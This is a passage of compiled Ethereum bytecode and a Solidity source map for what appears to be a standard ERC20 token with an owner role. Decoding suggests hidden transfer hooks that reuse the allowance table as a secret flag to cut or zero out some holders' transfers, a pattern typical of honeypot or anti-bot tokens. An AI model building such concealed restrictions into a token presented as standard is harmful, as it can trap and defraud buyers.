0565b60005b83811015611161578082015181840152602081019050611146565b83811115611170576000848401525b50505050565b6000601f19601f8301169050919050565b600061119282611127565b61119c8185611132565b93506111ac818560208601611143565b6111b581611176565b840191505092915050565b600060208201905081810360008301526111da8184611187565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611212826111e7565b9050919050565b61122281611207565b811461122d57600080fd5b50565b60008135905061123f81611219565b92915050565b6000819050919050565b61125881611245565b811461126357600080fd5b50565b6000813590506112758161124f565b92915050565b60008060408385031215611292576112916111e2565b5b60006112a085828601611230565b92505060206112b185828601611266565b9150509250929050565b60008115159050919050565b6112d0816112bb565b82525050565b60006020820190506112eb60008301846112c7565b92915050565b6112fa81611245565b82525050565b600060208201905061131560008301846112f1565b92915050565b600080600060608486031215611334576113336111e2565b5b600061134286828701611230565b935050602061135386828701611230565b925050604061136486828701611266565b9150509250925092565b600060208284031215611384576113836111e2565b5b600061139284828501611230565b91505092915050565b600060ff82169050919050565b6113b18161139b565b82525050565b60006020820190506113cc60008301846113a8565b92915050565b6113db81611207565b82525050565b60006020820190506113f660008301846113d2565b92915050565b60008060408385031215611413576114126111e2565b5b600061142185828601611230565b925050602061143285828601611230565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061148357607f821691505b602082108114156114975761149661143c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006114d782611245565b91506114e283611245565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156115175761151661149d565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061157e602583611132565b915061158982611522565b604082019050919050565b600060208201905081810360008301526115ad81611571565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611610602683611132565b915061161b826115b4565b604082019050919050565b6000602082019050818103600083015261163f81611603565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006116a2602483611132565b91506116ad82611646565b604082019050919050565b600060208201905081810360008301526116d181611695565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611734602283611132565b915061173f826116d8565b604082019050919050565b6000602082019050818103600083015261176381611727565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006117a0601d83611132565b91506117ab8261176a565b602082019050919050565b600060208201905081810360008301526117cf81611793565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611832602583611132565b915061183d826117d6565b604082019050919050565b6000602082019050818103600083015261186181611825565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006118c4602383611132565b91506118cf82611868565b604082019050919050565b600060208201905081810360008301526118f3816118b7565b9050919050565b6000819050919050565b61191561191082611245565b6118fa565b82525050565b60008160601b9050919050565b60006119338261191b565b9050919050565b600061194582611928565b9050919050565b61195d61195882611207565b61193a565b82525050565b600061196f8286611904565b60208201915061197f828561194c565b60148201915061198f828461194c565b601482019150819050949350505050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006119fc602683611132565b9150611a07826119a0565b604082019050919050565b60006020820190508181036000830152611a2b816119ef565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611a68602083611132565b9150611a7382611a32565b602082019050919050565b60006020820190508181036000830152611a9781611a5b565b9050919050565b6000611aa982611245565b9150611ab483611245565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611aed57611aec61149d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611b3282611245565b9150611b3d83611245565b925082611b4d57611b4c611af8565b5b82820490509291505056fea2646970667358221220e533eeecbf8cf53f655df85dd9786e13f25d8482e5ff09634134bdb9d1ec11e964736f6c634300080a0033

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f2fde38b14610306576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd1461016657806328d99bfb14610196578063313ce567146101b257806339509351146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906111c0565b60405180910390f35b610132600480360381019061012d919061127b565b6103b4565b60405161013f91906112d6565b60405180910390f35b6101506103d7565b60405161015d9190611300565b60405180910390f35b610180600480360381019061017b919061131b565b6103e1565b60405161018d91906112d6565b60405180910390f35b6101b060048036038101906101ab919061136e565b610410565b005b6101ba610493565b6040516101c791906113b7565b60405180910390f35b6101ea60048036038101906101e5919061127b565b61049c565b6040516101f791906112d6565b60405180910390f35b61021a6004803603810190610215919061136e565b6104d3565b6040516102279190611300565b60405180910390f35b61023861051c565b005b610242610530565b60405161024f91906113e1565b60405180910390f35b610260610559565b60405161026d91906111c0565b60405180910390f35b610290600480360381019061028b919061127b565b6105eb565b60405161029d91906112d6565b60405180910390f35b6102c060048036038101906102bb919061127b565b610662565b6040516102cd91906112d6565b60405180910390f35b6102f060048036038101906102eb91906113fc565b610685565b6040516102fd9190611300565b60405180910390f35b610320600480360381019061031b919061136e565b61070c565b005b6060600580546103319061146b565b80601f016020809104026020016040519081016040528092919081815260200182805461035d9061146b565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b6000806103bf610790565b90506103cc818585610798565b600191505092915050565b6000600454905090565b6000806103ec610790565b90506103f9858285610963565b6104048585856109ef565b60019150509392505050565b610418610530565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461044f57600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006012905090565b6000806104a7610790565b90506104c88185856104b98589610685565b6104c391906114cc565b610798565b600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610524610cb9565b61052e6000610d37565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546105689061146b565b80601f01602080910402602001604051908101604052809291908181526020018280546105949061146b565b80156105e15780601f106105b6576101008083540402835291602001916105e1565b820191906000526020600020905b8154815290600101906020018083116105c457829003601f168201915b5050505050905090565b6000806105f6610790565b905060006106048286610685565b905083811015610649576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064090611594565b60405180910390fd5b6106568286868403610798565b60019250505092915050565b60008061066d610790565b905061067a8185856109ef565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610714610cb9565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610784576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077b90611626565b60405180910390fd5b61078d81610d37565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610808576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ff906116b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610878576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086f9061174a565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516109569190611300565b60405180910390a3505050565b600061096f8484610685565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146109e957818110156109db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d2906117b6565b60405180910390fd5b6109e88484848403610798565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5690611848565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac6906118da565b60405180910390fd5b6000610adc848484610dfb565b9050600060036000433287604051602001610af993929190611963565b6040516020818303038152906040528051906020012081526020019081526020016000205414610b2857600090505b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba690611a12565b60405180910390fd5b828103600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610c9f9190611300565b60405180910390a3610cb2858585610f6a565b5050505050565b610cc1610790565b73ffffffffffffffffffffffffffffffffffffffff16610cdf610530565b73ffffffffffffffffffffffffffffffffffffffff1614610d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2c90611a7e565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600063ffffffff60026000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460026000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4a91906114cc565b10610f5f57610f5882611102565b9050610f63565b8190505b9392505050565b61ffff60026000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156110ba5763ffffffff60026000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600360004332876040516020016110d593929190611963565b60405160208183030381529060405280519060200120815260200190815260200160002081905550505050565b6000620f4240611388836111169190611a9e565b6111209190611b27565b9050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611161578082015181840152602081019050611146565b83811115611170576000848401525b50505050565b6000601f19601f8301169050919050565b600061119282611127565b61119c8185611132565b93506111ac818560208601611143565b6111b581611176565b840191505092915050565b600060208201905081810360008301526111da8184611187565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611212826111e7565b9050919050565b61122281611207565b811461122d57600080fd5b50565b60008135905061123f81611219565b92915050565b6000819050919050565b61125881611245565b811461126357600080fd5b50565b6000813590506112758161124f565b92915050565b60008060408385031215611292576112916111e2565b5b60006112a085828601611230565b92505060206112b185828601611266565b9150509250929050565b60008115159050919050565b6112d0816112bb565b82525050565b60006020820190506112eb60008301846112c7565b92915050565b6112fa81611245565b82525050565b600060208201905061131560008301846112f1565b92915050565b600080600060608486031215611334576113336111e2565b5b600061134286828701611230565b935050602061135386828701611230565b925050604061136486828701611266565b9150509250925092565b600060208284031215611384576113836111e2565b5b600061139284828501611230565b91505092915050565b600060ff82169050919050565b6113b18161139b565b82525050565b60006020820190506113cc60008301846113a8565b92915050565b6113db81611207565b82525050565b60006020820190506113f660008301846113d2565b92915050565b60008060408385031215611413576114126111e2565b5b600061142185828601611230565b925050602061143285828601611230565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061148357607f821691505b602082108114156114975761149661143c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006114d782611245565b91506114e283611245565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156115175761151661149d565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061157e602583611132565b915061158982611522565b604082019050919050565b600060208201905081810360008301526115ad81611571565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611610602683611132565b915061161b826115b4565b604082019050919050565b6000602082019050818103600083015261163f81611603565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006116a2602483611132565b91506116ad82611646565b604082019050919050565b600060208201905081810360008301526116d181611695565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611734602283611132565b915061173f826116d8565b604082019050919050565b6000602082019050818103600083015261176381611727565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006117a0601d83611132565b91506117ab8261176a565b602082019050919050565b600060208201905081810360008301526117cf81611793565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611832602583611132565b915061183d826117d6565b604082019050919050565b6000602082019050818103600083015261186181611825565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006118c4602383611132565b91506118cf82611868565b604082019050919050565b600060208201905081810360008301526118f3816118b7565b9050919050565b6000819050919050565b61191561191082611245565b6118fa565b82525050565b60008160601b9050919050565b60006119338261191b565b9050919050565b600061194582611928565b9050919050565b61195d61195882611207565b61193a565b82525050565b600061196f8286611904565b60208201915061197f828561194c565b60148201915061198f828461194c565b601482019150819050949350505050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006119fc602683611132565b9150611a07826119a0565b604082019050919050565b60006020820190508181036000830152611a2b816119ef565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611a68602083611132565b9150611a7382611a32565b602082019050919050565b60006020820190508181036000830152611a9781611a5b565b9050919050565b6000611aa982611245565b9150611ab483611245565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611aed57611aec61149d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611b3282611245565b9150611b3d83611245565b925082611b4d57611b4c611af8565b5b82820490509291505056fea2646970667358221220e533eeecbf8cf53f655df85dd9786e13f25d8482e5ff09634134bdb9d1ec11e964736f6c634300080a0033

80:129:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;941:98:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3348:197;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2033:106;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4107:286;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2713:120;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1878:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4788:234;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2197:125;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2457:101:0;;;:::i;:::-;;1834:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1152:102:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5509:427;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2518:189;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2891:149;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2707:198:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;941:98:1;995:13;1027:5;1020:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;941:98;:::o;3348:197::-;3431:4;3447:13;3463:12;:10;:12::i;:::-;3447:28;;3485:32;3494:5;3501:7;3510:6;3485:8;:32::i;:::-;3534:4;3527:11;;;3348:197;;;;:::o;2033:106::-;2094:7;2120:12;;2113:19;;2033:106;:::o;4107:286::-;4234:4;4250:15;4268:12;:10;:12::i;:::-;4250:30;;4290:38;4306:4;4312:7;4321:6;4290:15;:38::i;:::-;4338:27;4348:4;4354:2;4358:6;4338:9;:27::i;:::-;4382:4;4375:11;;;4107:286;;;;;:::o;2713:120::-;2789:7;:5;:7::i;:::-;2775:21;;:10;:21;;;2766:32;;;;;;2818:8;2808:7;;:18;;;;;;;;;;;;;;;;;;2713:120;:::o;1878:91::-;1936:5;1960:2;1953:9;;1878:91;:::o;4788:234::-;4876:4;4892:13;4908:12;:10;:12::i;:::-;4892:28;;4930:64;4939:5;4946:7;4983:10;4955:25;4965:5;4972:7;4955:9;:25::i;:::-;:38;;;;:::i;:::-;4930:8;:64::i;:::-;5011:4;5004:11;;;4788:234;;;;:::o;2197:125::-;2271:7;2297:9;:18;2307:7;2297:18;;;;;;;;;;;;;;;;2290:25;;2197:125;;;:::o;2457:101:0:-;1727:13;:11;:13::i;:::-;2521:30:::1;2548:1;2521:18;:30::i;:::-;2457:101::o:0;1834:85::-;1880:7;1906:6;;;;;;;;;;;1899:13;;1834:85;:::o;1152:102:1:-;1208:13;1240:7;1233:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1152:102;:::o;5509:427::-;5602:4;5618:13;5634:12;:10;:12::i;:::-;5618:28;;5656:24;5683:25;5693:5;5700:7;5683:9;:25::i;:::-;5656:52;;5746:15;5726:16;:35;;5718:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;5837:60;5846:5;5853:7;5881:15;5862:16;:34;5837:8;:60::i;:::-;5925:4;5918:11;;;;5509:427;;;;:::o;2518:189::-;2597:4;2613:13;2629:12;:10;:12::i;:::-;2613:28;;2651;2661:5;2668:2;2672:6;2651:9;:28::i;:::-;2696:4;2689:11;;;2518:189;;;;:::o;2891:149::-;2980:7;3006:11;:18;3018:5;3006:18;;;;;;;;;;;;;;;:27;3025:7;3006:27;;;;;;;;;;;;;;;;2999:34;;2891:149;;;;:::o;2707:198:0:-;1727:13;:11;:13::i;:::-;2815:1:::1;2795:22;;:8;:22;;;;2787:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;2870:28;2889:8;2870:18;:28::i;:::-;2707:198:::0;:::o;587:96::-;640:7;666:10;659:17;;587:96;:::o;9667:370:1:-;9815:1;9798:19;;:5;:19;;;;9790:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9895:1;9876:21;;:7;:21;;;;9868:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9977:6;9947:11;:18;9959:5;9947:18;;;;;;;;;;;;;;;:27;9966:7;9947:27;;;;;;;;;;;;;;;:36;;;;10014:7;9998:32;;10007:5;9998:32;;;10023:6;9998:32;;;;;;:::i;:::-;;;;;;;;9667:370;;;:::o;10318:441::-;10448:24;10475:25;10485:5;10492:7;10475:9;:25::i;:::-;10448:52;;10534:17;10514:16;:37;10510:243;;10595:6;10575:16;:26;;10567:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10677:51;10686:5;10693:7;10721:6;10702:16;:25;10677:8;:51::i;:::-;10510:243;10438:321;10318:441;;;:::o;6389:961::-;6531:1;6515:18;;:4;:18;;;;6507:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6607:1;6593:16;;:2;:16;;;;6585:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6660:15;6678:38;6699:4;6705:2;6709:6;6678:20;:38::i;:::-;6660:56;;6802:1;6731:9;:67;6768:12;6782:9;6793:2;6751:45;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;6741:56;;;;;;6731:67;;;;;;;;;;;;:72;6727:114;;6829:1;6819:11;;6727:114;6851:19;6873:9;:15;6883:4;6873:15;;;;;;;;;;;;;;;;6851:37;;6921:6;6906:11;:21;;6898:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;7036:6;7022:11;:20;7004:9;:15;7014:4;7004:15;;;;;;;;;;;;;;;:38;;;;7236:7;7219:9;:13;7229:2;7219:13;;;;;;;;;;;;;;;;:24;;;;;;;;;;;7284:2;7269:26;;7278:4;7269:26;;;7288:6;7269:26;;;;;;:::i;:::-;;;;;;;;7306:37;7326:4;7332:2;7336:6;7306:19;:37::i;:::-;6497:853;;6389:961;;;:::o;1992:130:0:-;2066:12;:10;:12::i;:::-;2055:23;;:7;:5;:7::i;:::-;:23;;;2047:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1992:130::o;3059:187::-;3132:16;3151:6;;;;;;;;;;;3132:25;;3176:8;3167:6;;:17;;;;;;;;;;;;;;;;;;3230:8;3199:40;;3220:8;3199:40;;;;;;;;;;;;3122:124;3059:187;:::o;12222:320:1:-;12347:7;12427:10;12399:11;:20;12411:7;;;;;;;;;;;12399:20;;;;;;;;;;;;;;;:24;12420:2;12399:24;;;;;;;;;;;;;;;;12370:11;:20;12382:7;;;;;;;;;;;12370:20;;;;;;;;;;;;;;;:26;12391:4;12370:26;;;;;;;;;;;;;;;;:53;;;;:::i;:::-;:67;12366:170;;12460:21;12474:6;12460:13;:21::i;:::-;12453:28;;;;12366:170;12519:6;12512:13;;12222:320;;;;;;:::o;11347:291::-;11501:6;11473:11;:20;11485:7;;;;;;;;;;;11473:20;;;;;;;;;;;;;;;:24;11494:2;11473:24;;;;;;;;;;;;;;;;:34;11469:80;;;11537:10;11510:11;:20;11522:7;;;;;;;;;;;11510:20;;;;;;;;;;;;;;;:24;11531:2;11510:24;;;;;;;;;;;;;;;:37;;;;11469:80;11630:1;11558:9;:69;11595:12;11609:9;11620:4;11578:47;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;11568:58;;;;;;11558:69;;;;;;;;;;;:73;;;;11347:291;;;:::o;9151:93::-;9207:7;9235;9228:4;9224:1;:8;;;;:::i;:::-;:18;;;;:::i;:::-;9217:25;;9151:93;;;:::o;7:99:4:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:329::-;4530:6;4579:2;4567:9;4558:7;4554:23;4550:32;4547:119;;;4585:79;;:::i;:::-;4547:119;4705:1;4730:53;4775:7;4766:6;4755:9;4751:22;4730:53;:::i;:::-;4720:63;;4676:117;4471:329;;;;:::o;4806:86::-;4841:7;4881:4;4874:5;4870:16;4859:27;;4806:86;;;:::o;4898:112::-;4981:22;4997:5;4981:22;:::i;:::-;4976:3;4969:35;4898:112;;:::o;5016:214::-;5105:4;5143:2;5132:9;5128:18;5120:26;;5156:67;5220:1;5209:9;5205:17;5196:6;5156:67;:::i;:::-;5016:214;;;;:::o;5236:118::-;5323:24;5341:5;5323:24;:::i;:::-;5318:3;5311:37;5236:118;;:::o;5360:222::-;5453:4;5491:2;5480:9;5476:18;5468:26;;5504:71;5572:1;5561:9;5557:17;5548:6;5504:71;:::i;:::-;5360:222;;;;:::o;5588:474::-;5656:6;5664;5713:2;5701:9;5692:7;5688:23;5684:32;5681:119;;;5719:79;;:::i;:::-;5681:119;5839:1;5864:53;5909:7;5900:6;5889:9;5885:22;5864:53;:::i;:::-;5854:63;;5810:117;5966:2;5992:53;6037:7;6028:6;6017:9;6013:22;5992:53;:::i;:::-;5982:63;;5937:118;5588:474;;;;;:::o;6068:180::-;6116:77;6113:1;6106:88;6213:4;6210:1;6203:15;6237:4;6234:1;6227:15;6254:320;6298:6;6335:1;6329:4;6325:12;6315:22;;6382:1;6376:4;6372:12;6403:18;6393:81;;6459:4;6451:6;6447:17;6437:27;;6393:81;6521:2;6513:6;6510:14;6490:18;6487:38;6484:84;;;6540:18;;:::i;:::-;6484:84;6305:269;6254:320;;;:::o;6580:180::-;6628:77;6625:1;6618:88;6725:4;6722:1;6715:15;6749:4;6746:1